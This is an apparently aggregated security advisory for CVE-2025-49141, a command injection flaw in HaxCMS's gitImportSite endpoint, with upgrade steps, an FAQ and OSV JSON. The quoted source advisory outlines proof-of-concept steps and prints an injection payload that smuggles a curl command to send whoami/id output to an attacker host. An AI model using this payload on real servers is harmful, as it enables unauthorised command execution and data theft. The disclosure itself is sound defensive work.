CVE-2025-49141: @haxtheweb/haxcms nodejs HaxCMS-PHP Command Injection Vulnerability Vulnerability

HIGH
Advisory Identifier: GHSA-g4cf-pp4x-hqgw
CVSS 8.5
CWE-78
Published
Advisory Summary

CVE-2025-49141 is a HIGH (CVSS 8.5) haxcms-php command injection vulnerability vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting @haxtheweb/haxcms nodejs libraries in the npm ecosystem. The issue involves haxcms-php command injection vulnerability. Remediation is available by upgrading affected packages to version 11.0.3.

CVE-2025-49141 at a Glance

CVE Identifier CVE-2025-49141
GHSA Identifier GHSA-g4cf-pp4x-hqgw
Severity HIGH
CVSS v3.1 Base Score 8.5
CWE Classification CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Affected Product @haxtheweb/haxcms nodejs
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-49141

To remediate this vulnerability, upgrade all affected @haxtheweb/haxcms nodejs dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@haxtheweb/haxcms-nodejs fixed: 11.0.3
npm install @haxtheweb/haxcms-nodejs@11.0.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @haxtheweb/haxcms-nodejs

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2025-49141, inspect your project dependencies using npm:

npm ls @haxtheweb/haxcms-nodejs

Analyze the terminal output to locate any version of @haxtheweb/haxcms nodejs in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 11.0.3), your application is affected.

Note: The npm ls @haxtheweb/haxcms-nodejs command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In @haxtheweb/haxcms nodejs, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection. ### Details The vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection. ![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508) #### Affected Resources • Operations.php:2103 gitImportSite() • \<domain\>/\<user\>/system/api/gitImportSite ### PoC To replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite'). 1. Start a webserver. ![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b) 2. Initiate a request to the ’archiveSite’ endpoint. ![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7) 3. Capture and modify the request in BurpSuite. ![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824) 4. Observe command output in the HTTP request from the server. ![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c) #### Command Injection Payload ```Bash http://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef ``` ### Impact An authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.

CVE-2025-49141 Affected @haxtheweb/haxcms nodejs Versions

1 component(s)
Fixed Versions:
11.0.3
Product / Package Ecosystem Affected Versions Fixed Version
@haxtheweb/haxcms-nodejs
npm
< 11.0.3
11.0.3

References

Frequently Asked Questions

What is CVE-2025-49141?
CVE-2025-49141 is a security vulnerability in @haxtheweb/haxcms nodejs involving HaxCMS-PHP Command Injection Vulnerability under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Which @haxtheweb/haxcms nodejs versions are affected?
Affected versions include releases prior to 11.0.3 across affected packages: @haxtheweb/haxcms-nodejs.
What version fixes CVE-2025-49141?
Upgrading to 11.0.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @haxtheweb/haxcms-nodejs affected?
Yes, @haxtheweb/haxcms-nodejs is affected in releases prior to 11.0.3. Upgrade your dependency to 11.0.3 or later.
What is the CVSS score of CVE-2025-49141?
CVE-2025-49141 has a CVSS v3.1 base score of 8.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2025-49141?
CVE-2025-49141 is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') (The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.).
How can I check npm dependencies for CVE-2025-49141?
Run the dependency tree command: 'npm ls @haxtheweb/haxcms-nodejs'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g4cf-pp4x-hqgw",
  "modified" : "2025-06-20T17:24:48Z",
  "published" : "2025-06-09T20:30:34Z",
  "aliases" : [ "CVE-2025-49141" ],
  "summary" : "HaxCMS-PHP Command Injection Vulnerability",
  "details" : "### Summary\nThe 'gitImportSite' functionality obtains a URL string from a POST request and insufficiently validates user input. The ’set_remote’ function later passes this input into ’proc_open’, yielding OS command injection.\n\n### Details\nThe vulnerability exists in the logic of the ’gitImportSite’ function, located in ’Operations.php’. The current implementation only relies on the ’filter_var’ and 'strpos' functions to validate the URL, which is not sufficient to ensure absence of all Bash special characters used for command injection.\n![gitImportSite](https://github.com/user-attachments/assets/af9935ef-4735-446d-833f-2c2590ff1508)\n\n#### Affected Resources\n• Operations.php:2103 gitImportSite()\n• \\<domain\\>/\\<user\\>/system/api/gitImportSite\n\n\n\n### PoC\nTo replicate this vulnerability, authenticate and send a POST request to the 'gitImportSite' endpoint with a crafted URL in the JSON data. Note, a valid token needs to be obtained by capturing a request to another API endpoint (such as 'archiveSite').\n\n1. Start a webserver.\n![webserver](https://github.com/user-attachments/assets/8594f9b1-67fa-4352-bbc3-310bb164ec9b)\n\n2. Initiate a request to the ’archiveSite’ endpoint.\n![archiveSite](https://github.com/user-attachments/assets/08503f36-d984-4d53-8fe6-577ad78d5eb7)\n\n3.  Capture and modify the request in BurpSuite.\n![request-modification](https://github.com/user-attachments/assets/61cd211e-afd3-453e-b86b-58bccffaf824)\n\n\n\n\n\n\n4. Observe command output in the HTTP request from the server.\n![command-output](https://github.com/user-attachments/assets/35f32274-b709-41d5-adaa-bea48f5cf33c)\n\n\n#### Command Injection Payload\n```Bash\nhttp://<IP>/.git;curl${IFS}<IP>/$(whoami)/$(id)#=abcdef\n```\n\n\n### Impact\nAn authenticated attacker can craft a URL string that bypasses the validation checks employed by the ’filter_var’ and ’strpos’ functions in order to execute arbitrary OS commands on the backend server. The attacker can exfiltrate command output via an HTTP request.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@haxtheweb/haxcms-nodejs"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "11.0.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/issues/security/advisories/GHSA-g4cf-pp4x-hqgw"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-49141"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/haxtheweb/haxcms-nodejs/commit/5131fea6b6be611db76a618f89bd2e164752e9b3"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/haxtheweb/haxcms-nodejs"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-78" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-06-09T20:30:34Z",
    "nvd_published_at" : "2025-06-09T21:15:47Z"
  }
}